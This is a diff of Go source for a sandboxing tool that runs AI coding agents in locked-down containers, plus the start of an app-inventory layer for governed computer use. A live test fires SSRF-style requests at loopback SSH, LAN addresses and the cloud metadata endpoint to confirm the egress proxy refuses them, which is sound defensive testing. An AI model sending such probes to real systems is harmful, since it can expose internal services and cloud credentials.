if err := saveCoderConfig(c); err != nil {
|
||||
return err
|
||||
}
|
||||
fmt.Println("coder settings saved (on/off unchanged: `privatae-bastion coders on`)")
|
||||
return nil
|
||||
}
|
||||
|
||||
// coderTurnOn fills every unset value with its default and enables. max
|
||||
// defaults to how many runs fit in the memory budget (coderBudgetMB),
|
||||
// clamped to 1..100, and refuses when the machine cannot hold one run.
|
||||
func coderTurnOn(c coderConfig) (coderConfig, error) {
|
||||
if c.MemPerRun == 0 {
|
||||
c.MemPerRun = coderDefaultMemMB
|
||||
}
|
||||
if c.CPUsPerRun == 0 {
|
||||
c.CPUsPerRun = coderDefaultCPUs
|
||||
if n := float64(runtime.NumCPU()); c.CPUsPerRun > n {
|
||||
c.CPUsPerRun = n
|
||||
}
|
||||
}
|
||||
if len(c.Engines) == 0 {
|
||||
c.Engines = append([]string(nil), coderEngines...)
|
||||
}
|
||||
if c.Max == 0 {
|
||||
total, _, ok := coderMemInfo()
|
||||
if !ok {
|
||||
return c, errors.New("cannot read this machine's memory; set it with `coders set --max N`")
|
||||
}
|
||||
n := coderBudgetMB(int(total>>20)) / c.MemPerRun
|
||||
if n < 1 {
|
||||
return c, fmt.Errorf("this machine has %d MiB; one run of %d MiB plus %d MiB for the machine does not fit",
|
||||
total>>20, c.MemPerRun, coderReserveMB(int(total>>20)))
|
||||
}
|
||||
if n > 100 {
|
||||
n = 100
|
||||
}
|
||||
c.Max = n
|
||||
}
|
||||
c.Enabled = true
|
||||
return c, saveCoderConfig(c)
|
||||
}
|
||||
|
||||
// cmdCodersDrop deletes the standing coder grant(s) of every pairing, or of
|
||||
// host, and stops those pairings' runs here.
|
||||
func cmdCodersDrop(host string) error {
|
||||
cfgs, err := loadPairings()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
var targets []*Config
|
||||
if host != "" {
|
||||
c, err := findPairing(cfgs, host)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if c == nil {
|
||||
return fmt.Errorf("no pairing for %q (paired: %s)", host, strings.Join(hostNames(cfgs), ", "))
|
||||
}
|
||||
targets = []*Config{c}
|
||||
} else {
|
||||
targets = cfgs
|
||||
}
|
||||
owners := map[string]bool{}
|
||||
for _, c := range targets {
|
||||
owners[c.HostName] = true
|
||||
ids, err := coderGrantDropAll(c.dcnDir(), "dropped at this machine (coders drop)")
|
||||
if err != nil {
|
||||
return fmt.Errorf("%s: %w", c.HostName, err)
|
||||
}
|
||||
fmt.Printf("%s: %d coder grant(s) dropped\n", c.HostName, len(ids))
|
||||
}
|
||||
rt := coderRuntime()
|
||||
stopped, failed := 0, 0
|
||||
for _, r := range loadCoderRecords() {
|
||||
if !owners[r.Owner] {
|
||||
continue
|
||||
}
|
||||
if rt == "" {
|
||||
failed++
|
||||
continue
|
||||
}
|
||||
r := r
|
||||
if _, err := coderTeardown(rt, r.RunID, &r); err != nil {
|
||||
failed++
|
||||
fmt.Fprintf(os.Stderr, "run %s: %v\n", r.RunID, err)
|
||||
continue
|
||||
}
|
||||
stopped++
|
||||
}
|
||||
fmt.Printf("%d run(s) stopped", stopped)
|
||||
if failed > 0 {
|
||||
fmt.Printf(", %d could not be confirmed stopped (the reaper retries)", failed)
|
||||
}
|
||||
fmt.Println()
|
||||
return nil
|
||||
}
|
||||
|
||||
func cmdCodersStatus(asJSON bool) error {
|
||||
c := loadCoderConfig()
|
||||
cfgs, _ := loadPairings()
|
||||
type grantView struct {
|
||||
Host string `json:"host"`
|
||||
Engines []string `json:"engines"`
|
||||
Max int `json:"max"`
|
||||
Expires string `json:"expires"`
|
||||
}
|
||||
grants := []grantView{}
|
||||
for _, p := range cfgs {
|
||||
dir := p.dcnDir()
|
||||
f, err := dcnLoadFile(dir)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
for _, rec := range f.Coder {
|
||||
raw, err := base64.StdEncoding.DecodeString(rec.TermsCanonical)
|
||||
var t coderTerms
|
||||
if err != nil || json.Unmarshal(raw, &t) != nil {
|
||||
continue
|
||||
}
|
||||
grants = append(grants, grantView{Host: p.HostName, Engines: t.Engines, Max: t.Max, Expires: t.Expires})
|
||||
}
|
||||
}
|
||||
sort.Slice(grants, func(i, j int) bool { return grants[i].Host < grants[j].Host })
|
||||
runs := coderReports("", true)
|
||||
if asJSON {
|
||||
b, _ := json.MarshalIndent(map[string]any{"config": c, "grants": grants, "runs": runs}, "", " ")
|
||||
fmt.Println(string(b))
|
||||
return nil
|
||||
}
|
||||
state := "OFF"
|
||||
if c.Enabled {
|
||||
state = "ON"
|
||||
}
|
||||
fmt.Printf("coder runs: %s max %d %d MiB / %s CPUs per run engines %s\n", state, c.Max, c.MemPerRun,
|
||||
strconv.FormatFloat(c.CPUsPerRun, 'f', -1, 64), strings.Join(c.Engines, ","))
|
||||
if total, _, ok := coderMemInfo(); ok && c.MemPerRun > 0 {
|
||||
mb := int(total >> 20)
|
||||
fmt.Printf("memory for runs: %d of %d MiB (%d kept for the machine), so %d run(s) of %d MiB at a time\n",
|
||||
coderBudgetMB(mb), mb, coderReserveMB(mb), max(coderBudgetMB(mb)/c.MemPerRun, 0), c.MemPerRun)
|
||||
}
|
||||
if len(c.AllowLAN) > 0 {
|
||||
fmt.Printf("LAN hosts runs may reach: %s\n", strings.Join(c.AllowLAN, ", "))
|
||||
}
|
||||
fmt.Printf("run images: %sharness-<engine>@sha256:<digest>\n", c.imagePrefix())
|
||||
for _, g := range grants {
|
||||
fmt.Printf("grant: %s engines %s max %d until %s\n", g.Host, strings.Join(g.Engines, ","), g.Max, g.Expires)
|
||||
}
|
||||
now := time.Now()
|
||||
for _, r := range runs {
|
||||
left := ""
|
||||
if dl, err := time.Parse(time.RFC3339, r.Deadline); err == nil {
|
||||
left = dl.Sub(now).Round(time.Minute).String() + " left"
|
||||
}
|
||||
fmt.Printf("run %s %s %s port %d %s\n", r.RunID, r.Engine, r.State, r.TunnelPort, left)
|
||||
if r.StoppedBy != "" {
|
||||
fmt.Printf(" stopped to protect this machine: %s\n", r.StoppedBy)
|
||||
}
|
||||
}
|
||||
if len(runs) == 0 {
|
||||
fmt.Println("no runs on this machine")
|
||||
}
|
||||
return nil
|
||||
}
|
||||
@@ -0,0 +1,63 @@
|
||||
//go:build linux
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strconv"
|
||||
"syscall"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
)
|
||||
|
||||
// coderSocketOwner: (owner uid, true) when p is a unix socket itself — Lstat,
|
||||
// so a symlink is seen as a symlink and never followed.
|
||||
func coderSocketOwner(p string) (int, bool) {
|
||||
fi, err := os.Lstat(p)
|
||||
if err != nil || fi.Mode()&os.ModeSocket == 0 {
|
||||
return -1, false
|
||||
}
|
||||
st, ok := fi.Sys().(*syscall.Stat_t)
|
||||
if !ok {
|
||||
return -1, false
|
||||
}
|
||||
return int(st.Uid), true
|
||||
}
|
||||
|
||||
// coderFileOwner is the uid that owns fi (an Lstat result).
|
||||
func coderFileOwner(fi os.FileInfo) (int, bool) {
|
||||
st, ok := fi.Sys().(*syscall.Stat_t)
|
||||
if !ok {
|
||||
return -1, false
|
||||
}
|
||||
return int(st.Uid), true
|
||||
}
|
||||
|
||||
// coderReadMemInfo is MemTotal and MemAvailable in bytes (ops_memory_linux.go).
|
||||
func coderReadMemInfo() (total, avail uint64, ok bool) { return opMemInfo() }
|
||||
|
||||
// coderReadPSIMem is the machine's memory "full avg10" (coderParsePSIFull);
|
||||
// ok is false on a kernel without pressure stall information.
|
||||
func coderReadPSIMem() (float64, bool) {
|
||||
b, err := os.ReadFile(filepath.Join(coderProcFS, "pressure", "memory"))
|
||||
if err != nil {
|
||||
return 0, false
|
||||
}
|
||||
return coderParsePSIFull(string(b))
|
||||
}
|
||||
|
||||
// coderListenUnix listens on dir/name. A run directory's path can be longer
|
||||
// than a unix socket address holds (108 bytes: the config dir, coders/runs/,
|
||||
// a 63-character run id, egress/egress.sock), so the bind goes through
|
||||
// /proc/self/fd/<dir fd>/name, which the kernel resolves to the directory
|
||||
// already opened — short, whatever the real path is.
|
||||
func coderListenUnix(dir, name string) (net.Listener, error) {
|
||||
fd, err := unix.Open(dir, unix.O_PATH|unix.O_DIRECTORY|unix.O_CLOEXEC, 0)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
defer unix.Close(fd)
|
||||
return net.Listen("unix", "/proc/self/fd/"+strconv.Itoa(fd)+"/"+name)
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,203 @@
|
||||
//go:build linux && coderlive
|
||||
|
||||
// The coder-mode check against a REAL container runtime (plan section 8,
|
||||
// slice 4): three runs up, a LAN/loopback request through egress.sock is
|
||||
// refused and a public one works, the control socket answers through the
|
||||
// owner-only forward, and run-down of one leaves two.
|
||||
//
|
||||
// Not part of the package tests: it needs root, docker, a harness image whose
|
||||
// sidecar serves the two sockets, and the internet. Run it by hand:
|
||||
//
|
||||
// CODER_LIVE_IMAGE=<image> go test -tags coderlive -run TestCoderLive -v .
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io"
|
||||
"net"
|
||||
"net/http"
|
||||
"os"
|
||||
"strings"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
func TestCoderLive(t *testing.T) {
|
||||
img := os.Getenv("CODER_LIVE_IMAGE")
|
||||
if img == "" || os.Getuid() != 0 {
|
||||
t.Skip("set CODER_LIVE_IMAGE and run as root")
|
||||
}
|
||||
if detectRuntime() != "docker" {
|
||||
t.Skip("needs docker")
|
||||
}
|
||||
base := os.Getenv("CODER_LIVE_DIR")
|
||||
if base == "" {
|
||||
base = t.TempDir()
|
||||
}
|
||||
t.Setenv("XDG_CONFIG_HOME", base)
|
||||
// The image is a local build tagged <prefix>harness-claude-code:<tag>.
|
||||
// It runs the way an owner's local image does: the prefix is set to its
|
||||
// repository's, and the run names it by its image ID (coderLocalImage).
|
||||
repo := coderTagRepo(img)
|
||||
prefix, ok := strings.CutSuffix(repo, "harness-claude-code")
|
||||
if !ok || coderPrefixRefusal(prefix) != "" {
|
||||
t.Skipf("CODER_LIVE_IMAGE must be tagged <prefix>harness-claude-code:<tag>, got %q", img)
|
||||
}
|
||||
id, err := runCmd(10*time.Second, "docker", "image", "inspect", "--format", "{{.Id}}", img)
|
||||
if err != nil {
|
||||
t.Fatalf("inspect %s: %v %s", img, err, id)
|
||||
}
|
||||
img = repo + "@" + strings.TrimSpace(id)
|
||||
if err := saveCoderConfig(coderConfig{Enabled: true, Max: 3, MemPerRun: 1024, CPUsPerRun: 1,
|
||||
Engines: append([]string(nil), coderEngines...), ImagePrefix: prefix}); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
const owner = "live.host.privatae.ai"
|
||||
writePairing(t, owner)
|
||||
ids := []string{"live-run-0001", "live-run-0002", "live-run-0003"}
|
||||
defer func() {
|
||||
for _, id := range ids {
|
||||
_, _ = runCmd(30*time.Second, "docker", "rm", "-f", coderContainerPrefix+id)
|
||||
}
|
||||
}()
|
||||
spec := func(id string) harnessSpec {
|
||||
return harnessSpec{Mode: "coder", CoderOp: "run-up", RunID: id, Engine: "claude-code", Image: img,
|
||||
UID: 10005, CredsDir: "/home/privatae/.claude",
|
||||
Creds: map[string]string{".credentials.json": `{"claudeAiOauth":{"accessToken":"x"}}`},
|
||||
ControlCap: strings.Repeat("k", 43), owner: owner}
|
||||
}
|
||||
ports := map[string]int{}
|
||||
for _, id := range ids {
|
||||
b, code := runCoder(spec(id))
|
||||
t.Logf("run-up %s: exit %d %s", id, code, b)
|
||||
var m map[string]any
|
||||
_ = json.Unmarshal(b, &m)
|
||||
if code != 0 || m["started"] != true {
|
||||
out, _ := runCmd(10*time.Second, "docker", "logs", "--tail", "40", coderContainerPrefix+id)
|
||||
t.Fatalf("run-up %s failed; container log:\n%s", id, out)
|
||||
}
|
||||
ports[id] = int(m["tunnel_port"].(float64))
|
||||
}
|
||||
// A fourth is the full answer.
|
||||
b, code := runCoder(spec("live-run-0004"))
|
||||
t.Logf("run-up past max: exit %d %s", code, b)
|
||||
if !strings.Contains(string(b), `"reason":"full"`) || code != 0 {
|
||||
t.Fatalf("the fourth run is the full answer")
|
||||
}
|
||||
c0 := coderContainerPrefix + ids[0]
|
||||
insp, _ := runCmd(10*time.Second, "docker", "inspect", "-f",
|
||||
"net={{.HostConfig.NetworkMode}} ro={{.HostConfig.ReadonlyRootfs}} caps={{.HostConfig.CapDrop}} sec={{len .HostConfig.SecurityOpt}} "+
|
||||
"mem={{.HostConfig.Memory}} swap={{.HostConfig.MemorySwap}} cpus={{.HostConfig.NanoCpus}} pids={{.HostConfig.PidsLimit}} user={{.Config.User}}", c0)
|
||||
t.Logf("container: %s", strings.TrimSpace(insp))
|
||||
for _, want := range []string{"net=none", "ro=true", "caps=[ALL]", "mem=1073741824", "swap=1073741824", "cpus=1000000000", "pids=4096", "user=10005:10005"} {
|
||||
if !strings.Contains(insp, want) {
|
||||
t.Fatalf("container lacks %s", want)
|
||||
}
|
||||
}
|
||||
secopt, _ := runCmd(10*time.Second, "docker", "inspect", "-f", "{{range .HostConfig.SecurityOpt}}{{printf \"%.40s\" .}}|{{end}}", c0)
|
||||
t.Logf("security opts (first 40 chars each): %s", strings.TrimSpace(secopt))
|
||||
|
||||
sh := func(script string) string {
|
||||
out, _ := runCmd(60*time.Second, "docker", "exec", c0, "sh", "-c", script)
|
||||
return strings.TrimSpace(out)
|
||||
}
|
||||
// No network of its own: a direct connection fails.
|
||||
direct := sh(`python3 -c "import socket
|
||||
try:
|
||||
socket.create_connection(('1.1.1.1',443),5); print('DIRECT-OPEN')
|
||||
except Exception as e: print('DIRECT-BLOCKED', type(e).__name__)"`)
|
||||
t.Logf("direct connect from the container: %s", direct)
|
||||
if !strings.Contains(direct, "DIRECT-BLOCKED") {
|
||||
t.Fatal("the container must have no network of its own")
|
||||
}
|
||||
sock := "/run/privatae/egress/egress.sock"
|
||||
for _, target := range []string{"http://127.0.0.1:22/", "http://192.168.1.1/", "http://10.0.0.1/", "http://169.254.169.254/latest/meta-data/", "http://[::1]:22/", "http://localhost:8080/"} {
|
||||
out := sh(`curl -sS -o /dev/null -D - --max-time 15 --unix-socket ` + sock + ` ` + target + ` 2>&1 | head -6`)
|
||||
t.Logf("curl %s via egress.sock -> %s", target, strings.ReplaceAll(out, "\r\n", " | "))
|
||||
if !strings.Contains(out, "403") || !strings.Contains(out, "X-Privatae-Refused") {
|
||||
t.Fatalf("%s must be refused", target)
|
||||
}
|
||||
}
|
||||
connect := sh(`python3 -c "import socket
|
||||
s=socket.socket(socket.AF_UNIX); s.connect('` + sock + `')
|
||||
s.sendall(b'CONNECT 192.168.0.1:443 HTTP/1.1\r\n\r\n'); print(s.recv(200).split(b'\r\n')[0].decode())"`)
|
||||
t.Logf("CONNECT 192.168.0.1:443 -> %s", connect)
|
||||
if !strings.Contains(connect, "403") {
|
||||
t.Fatal("a LAN CONNECT must be refused")
|
||||
}
|
||||
plain := sh(`curl -sS -o /dev/null -w '%{http_code}' --max-time 30 --unix-socket ` + sock + ` http://example.com/ 2>&1`)
|
||||
t.Logf("curl http://example.com/ via egress.sock -> %s", plain)
|
||||
pub := sh(`python3 -c "import socket,ssl
|
||||
s=socket.socket(socket.AF_UNIX); s.settimeout(30); s.connect('` + sock + `')
|
||||
s.sendall(b'CONNECT example.com:443 HTTP/1.1\r\nHost: example.com:443\r\n\r\n')
|
||||
print('proxy:', s.recv(200).split(b'\r\n')[0].decode())
|
||||
t=ssl.create_default_context().wrap_socket(s, server_hostname='example.com')
|
||||
t.sendall(b'GET / HTTP/1.1\r\nHost: example.com\r\nConnection: close\r\n\r\n')
|
||||
print('origin:', t.recv(200).split(b'\r\n')[0].decode())" 2>&1`)
|
||||
t.Logf("CONNECT example.com:443 + TLS GET / via egress.sock -> %s", strings.ReplaceAll(pub, "\n", " | "))
|
||||
if plain != "200" || !strings.Contains(pub, "proxy: HTTP/1.1 200") || !strings.Contains(pub, "origin: HTTP/1.1 200") {
|
||||
t.Fatalf("a public URL must work through egress.sock")
|
||||
}
|
||||
|
||||
// The control forward: owner-only, spliced to the run's control socket.
|
||||
ctx, cancel := context.WithCancel(context.Background())
|
||||
defer cancel()
|
||||
addrCh := make(chan string, 4)
|
||||
go serveCoderForwardsOn(ctx, owner, "127.0.0.1", func(port int) (net.Listener, error) {
|
||||
ln, err := net.Listen("tcp", "127.0.0.1:0") // in-process stand-in for the tunnel netstack
|
||||
if err == nil {
|
||||
addrCh <- fmt.Sprintf("%d=%s", port, ln.Addr())
|
||||
}
|
||||
return ln, err
|
||||
})
|
||||
var fwd string
|
||||
deadline := time.After(5 * time.Second)
|
||||
for fwd == "" {
|
||||
select {
|
||||
case a := <-addrCh:
|
||||
if strings.HasPrefix(a, fmt.Sprintf("%d=", ports[ids[0]])) {
|
||||
fwd = strings.SplitN(a, "=", 2)[1]
|
||||
}
|
||||
case <-deadline:
|
||||
t.Fatal("no forward for the first run")
|
||||
}
|
||||
}
|
||||
resp, err := (&http.Client{Timeout: 10 * time.Second}).Get("http://" + fwd + "/health")
|
||||
if err != nil {
|
||||
t.Fatalf("GET /health through the forward: %v", err)
|
||||
}
|
||||
hb, _ := io.ReadAll(resp.Body)
|
||||
resp.Body.Close()
|
||||
t.Logf("GET /health through the forward -> %d %s", resp.StatusCode, strings.TrimSpace(string(hb)))
|
||||
if resp.StatusCode != 200 {
|
||||
t.Fatal("/health through the forward must answer 200")
|
||||
}
|
||||
|
||||
// run-down one: two stay up.
|
||||
time.Sleep(2 * time.Second)
|
||||
db, dcode := runCoder(harnessSpec{Mode: "coder", CoderOp: "run-down", RunID: ids[0], owner: owner})
|
||||
t.Logf("run-down %s: exit %d %s", ids[0], dcode, db)
|
||||
var dm map[string]any
|
||||
_ = json.Unmarshal(db, &dm)
|
||||
if dcode != 0 || dm["stopped"] != true {
|
||||
t.Fatal("run-down failed")
|
||||
}
|
||||
ps, _ := runCmd(10*time.Second, "docker", "ps", "--filter", "label="+coderLabelRun, "--format", "{{.Names}} {{.Status}}")
|
||||
t.Logf("coder containers after run-down of one:\n%s", strings.TrimSpace(ps))
|
||||
st, _ := runCoder(harnessSpec{Mode: "coder", CoderOp: "run-status", owner: owner})
|
||||
t.Logf("run-status: %s", st)
|
||||
if strings.Count(strings.TrimSpace(ps), "\n") != 1 || strings.Contains(ps, ids[0]) {
|
||||
t.Fatal("run-down of one must leave exactly the other two")
|
||||
}
|
||||
for _, id := range ids[1:] {
|
||||
b, code := runCoder(harnessSpec{Mode: "coder", CoderOp: "run-down", RunID: id, owner: owner})
|
||||
t.Logf("run-down %s: exit %d %s", id, code, b)
|
||||
}
|
||||
left, _ := runCmd(10*time.Second, "docker", "ps", "-aq", "--filter", "label="+coderLabelRun)
|
||||
if strings.TrimSpace(left) != "" {
|
||||
t.Fatalf("containers left: %s", left)
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,25 @@
|
||||
//go:build !linux
|
||||
|
||||
package main
|
||||
|
||||
import (
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
// Coder mode is Linux-only in this cut (coders.go); run-up refuses before
|
||||
// either of these is reached, and the heartbeat never advertises it.
|
||||
|
||||
func coderSocketOwner(p string) (int, bool) { return -1, false }
|
||||
|
||||
// coderFileOwner: no owner is known here, so no runs directory passes.
|
||||
func coderFileOwner(fi os.FileInfo) (int, bool) { return -1, false }
|
||||
|
||||
func coderReadMemInfo() (total, avail uint64, ok bool) { return 0, 0, false }
|
||||
|
||||
func coderReadPSIMem() (float64, bool) { return 0, false }
|
||||
|
||||
func coderListenUnix(dir, name string) (net.Listener, error) {
|
||||
return net.Listen("unix", filepath.Join(dir, name))
|
||||
}
|
||||
@@ -0,0 +1,318 @@
|
||||
package main
|
||||
|
||||
// computer:* — the OBSERVE rung of governed computer use.
|
||||
//
|
||||
// The host plans from a MACHINE MAP, not a screenshot. "Get into Fusion 360
|
||||
// and build me a flowerpot" starts with the host
|
||||
// reading what this box has installed and, for each app, the deepest way in:
|
||||
// the app's own scripting door first, the accessibility tree second, a cropped
|
||||
// screenshot last. These two ops are that map. They READ; they never inject.
|
||||
//
|
||||
// computer:inventory — installed applications with version, publisher, path,
|
||||
// where the fact came from, and `ways_in` (deepest first).
|
||||
// computer:windows — the top-level windows open right now: title, owning
|
||||
// process, app, which one has focus.
|
||||
//
|
||||
// Both ride the management lane like any other op — signed grant on the pod
|
||||
// side (default-deny; a deny beats an allow), the op vocabulary in the
|
||||
// enforcing report — and are dedicated no-exec handlers: nothing here takes
|
||||
// caller arguments into a shell. Where an OS needs a helper (system_profiler,
|
||||
// osascript, wmctrl) it is a fixed argv, and the parser is a pure function
|
||||
// unit-tested from any OS with captured fixtures ("leech, don't adopt": no new
|
||||
// Go module).
|
||||
//
|
||||
// Honesty over coverage: a platform or a box that cannot enumerate says so
|
||||
// (supported:false + reason) instead of answering an empty list that would be
|
||||
// read as "nothing installed" or "no windows open".
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
"runtime"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
)
|
||||
|
||||
// computerApp is one installed application on this box. Path is the program,
|
||||
// never a user file. WaysIn is ordered deepest first; the host picks the first
|
||||
// rung it can drive.
|
||||
type computerApp struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version,omitempty"`
|
||||
Publisher string `json:"publisher,omitempty"`
|
||||
Path string `json:"path,omitempty"`
|
||||
Source string `json:"source"` // registry | applications | desktop | flatpak | snap
|
||||
WaysIn []string `json:"ways_in"`
|
||||
}
|
||||
|
||||
// computerWindow is one top-level window open now. PID/App are best effort;
|
||||
// Title is what a person sees, which is how a recorded step addresses it.
|
||||
type computerWindow struct {
|
||||
Title string `json:"title"`
|
||||
PID int `json:"pid,omitempty"`
|
||||
App string `json:"app,omitempty"`
|
||||
Focused bool `json:"focused,omitempty"`
|
||||
}
|
||||
|
||||
// computerReport is the wire shape of both ops. Supported=false carries the
|
||||
// reason in the user's terms (a missing tool, a permission not granted, a
|
||||
// headless box) — the host relays it, never guesses at it.
|
||||
type computerReport struct {
|
||||
Platform string `json:"platform"`
|
||||
Scan string `json:"scan"` // which enumerator answered
|
||||
Supported bool `json:"supported"`
|
||||
Reason string `json:"reason,omitempty"`
|
||||
ScannedAt string `json:"scanned_at"`
|
||||
Apps []computerApp `json:"apps,omitempty"`
|
||||
Windows []computerWindow `json:"windows,omitempty"`
|
||||
}
|
||||
|
||||
const computerCmdTimeout = 20 * time.Second
|
||||
|
||||
// ── ways in: the judgement, platform-neutral, table-driven ───────────────────
|
||||
|
||||
// The rung names the host reads. Ordered deepest first when several apply.
|
||||
const (
|
||||
wayCLI = "cli" // a command-line entry point (drive it without a window)
|
||||
wayGUI = "gui" // the accessibility tree, then a cropped screenshot — every app has this rung
|
||||
)
|
||||
|
||||
// scriptDoor is one app family with a known scripting door: a way to hand the
|
||||
// program a script and have it act, with no clicking. `match` are lowercase
|
||||
// substrings tested against the app name and its executable's basename;
|
||||
// `doors` are per-GOOS ("" = every OS), deepest first. This is a table of
|
||||
// well-known, documented interfaces, not a guess — an entry is added when the
|
||||
// vendor documents the door.
|
||||
type scriptDoor struct {
|
||||
match []string
|
||||
exclude []string // a name carrying one of these is a sibling, not the app (an updater, a runtime, a theme)
|
||||
doors map[string][]string
|
||||
cli bool
|
||||
}
|
||||
|
||||
var scriptDoors = []scriptDoor{
|
||||
{match: []string{"fusion 360", "fusion360", "autodesk fusion"},
|
||||
doors: map[string][]string{"": {"script:python (Fusion 360 API — scripts run inside the app)"}}},
|
||||
{match: []string{"blender"},
|
||||
doors: map[string][]string{"": {"script:python (bpy)"}}, cli: true},
|
||||
{match: []string{"freecad"},
|
||||
doors: map[string][]string{"": {"script:python (FreeCAD API)"}}, cli: true},
|
||||
{match: []string{"kicad"},
|
||||
doors: map[string][]string{"": {"script:python (pcbnew)"}}},
|
||||
{match: []string{"gimp"},
|
||||
doors: map[string][]string{"": {"script:python-fu / script-fu"}}, cli: true},
|
||||
{match: []string{"inkscape"},
|
||||
doors: map[string][]string{"": {"script:actions (inkscape --actions)"}}, cli: true},
|
||||
{match: []string{"libreoffice", "openoffice", "soffice"},
|
||||
doors: map[string][]string{"": {"script:python-uno"}}, cli: true},
|
||||
// Outlook is deliberately absent: the new Outlook has no COM object model.
|
||||
{match: []string{"microsoft excel", "excel.exe", "microsoft word", "winword", "microsoft powerpoint", "powerpnt"},
|
||||
doors: map[string][]string{"windows": {"script:com-automation (Office object model)"}, "darwin": {"script:applescript (Office dictionary)"}}},
|
||||
{match: []string{"adobe photoshop", "adobe illustrator", "adobe indesign", "adobe after effects", "adobe premiere"},
|
||||
doors: map[string][]string{"": {"script:extendscript / uxp"}}},
|
||||
{match: []string{"autocad"},
|
||||
doors: map[string][]string{"windows": {"script:autolisp", "script:com-automation"}, "darwin": {"script:autolisp"}}},
|
||||
{match: []string{"solidworks"},
|
||||
doors: map[string][]string{"windows": {"script:com-automation (SolidWorks API)"}}},
|
||||
{match: []string{"visual studio code", "code.exe", "vscodium", "cursor"}, exclude: []string{"theme", "cursors"},
|
||||
doors: map[string][]string{}, cli: true},
|
||||
{match: []string{"google chrome", "chromium", "microsoft edge", "brave"}, exclude: []string{"webview2", "update", "updater"},
|
||||
doors: map[string][]string{"": {"script:chrome-devtools-protocol (launch with --remote-debugging-port)"}}, cli: true},
|
||||
{match: []string{"firefox"},
|
||||
doors: map[string][]string{"": {"script:webdriver-bidi / marionette"}}, cli: true},
|
||||
{match: []string{"obsidian"},
|
||||
doors: map[string][]string{"": {"script:uri (obsidian://)"}}},
|
||||
{match: []string{"notepad++"},
|
||||
doors: map[string][]string{}, cli: true},
|
||||
{match: []string{"vlc"},
|
||||
doors: map[string][]string{"": {"script:lua / http interface"}}, cli: true},
|
||||
{match: []string{"audacity"},
|
||||
doors: map[string][]string{"": {"script:mod-script-pipe"}}},
|
||||
{match: []string{"matlab"}, exclude: []string{"runtime"},
|
||||
doors: map[string][]string{"": {"script:matlab (-batch)"}}, cli: true},
|
||||
{match: []string{"docker desktop"},
|
||||
doors: map[string][]string{}, cli: true},
|
||||
{match: []string{"terminal", "iterm", "windows terminal", "powershell", "gnome-terminal", "konsole"},
|
||||
doors: map[string][]string{}, cli: true},
|
||||
}
|
||||
|
||||
func (d scriptDoor) matches(key string) bool {
|
||||
for _, x := range d.exclude {
|
||||
if strings.Contains(key, x) {
|
||||
return false
|
||||
}
|
||||
}
|
||||
for _, m := range d.match {
|
||||
if strings.Contains(key, m) {
|
||||
return true
|
||||
}
|
||||
}
|
||||
return false
|
||||
}
|
||||
|
||||
// waysIn is the judgement: given an app's name and program path, the rungs the
|
||||
// host can drive, deepest first. goos is a parameter so the table is testable
|
||||
// for every platform from one CI. onPath says whether the program resolves on
|
||||
// PATH — a CLI rung the table did not know about.
|
||||
func waysIn(name, path, goos string, onPath bool) []string {
|
||||
key := strings.ToLower(name) + " " + strings.ToLower(binBase(path)) + " " + strings.ToLower(filepath.Base(path))
|
||||
var out []string
|
||||
cli := onPath
|
||||
for _, d := range scriptDoors {
|
||||
if !d.matches(key) {
|
||||
continue
|
||||
}
|
||||
out = append(out, d.doors[goos]...)
|
||||
if goos != "" {
|
||||
out = append(out, d.doors[""]...)
|
||||
}
|
||||
if d.cli {
|
||||
cli = true
|
||||
}
|
||||
}
|
||||
out = dedupeStrings(out)
|
||||
if cli {
|
||||
out = append(out, wayCLI)
|
||||
}
|
||||
return append(out, wayGUI)
|
||||
}
|
||||
|
||||
func dedupeStrings(in []string) []string {
|
||||
seen := map[string]bool{}
|
||||
var out []string
|
||||
for _, s := range in {
|
||||
if s == "" || seen[s] {
|
||||
continue
|
||||
}
|
||||
seen[s] = true
|
||||
out = append(out, s)
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
// execOnPath reports whether a program name (or an absolute path that exists)
|
||||
// resolves to something runnable — the honest test for a CLI rung.
|
||||
func execOnPath(p string) bool {
|
||||
p = strings.TrimSpace(p)
|
||||
if p == "" {
|
||||
return false
|
||||
}
|
||||
if filepath.IsAbs(p) {
|
||||
st, err := os.Stat(p)
|
||||
return err == nil && !st.IsDir()
|
||||
}
|
||||
_, err := exec.LookPath(p)
|
||||
return err == nil
|
||||
}
|
||||
|
||||
// finishApps dedupes by name (first fact wins — the more authoritative source
|
||||
// enumerates first on every platform), fills ways_in, and sorts by name so two
|
||||
// scans of an unchanged box compare equal.
|
||||
func finishApps(apps []computerApp) []computerApp {
|
||||
seen := map[string]bool{}
|
||||
out := make([]computerApp, 0, len(apps))
|
||||
for _, a := range apps {
|
||||
a.Name = strings.TrimSpace(a.Name)
|
||||
if a.Name == "" {
|
||||
continue
|
||||
}
|
||||
k := strings.ToLower(a.Name)
|
||||
if seen[k] {
|
||||
continue
|
||||
}
|
||||
seen[k] = true
|
||||
a.WaysIn = waysIn(a.Name, a.Path, runtime.GOOS, execOnPath(a.Path))
|
||||
out = append(out, a)
|
||||
}
|
||||
sort.Slice(out, func(i, j int) bool { return strings.ToLower(out[i].Name) < strings.ToLower(out[j].Name) })
|
||||
return out
|
||||
}
|
||||
|
||||
// ── the two ops ──────────────────────────────────────────────────────────────
|
||||
|
||||
func computerInventoryReport() computerReport {
|
||||
rep := computerReport{Platform: runtime.GOOS, Scan: computerInventoryKind,
|
||||
ScannedAt: time.Now().UTC().Format(time.RFC3339)}
|
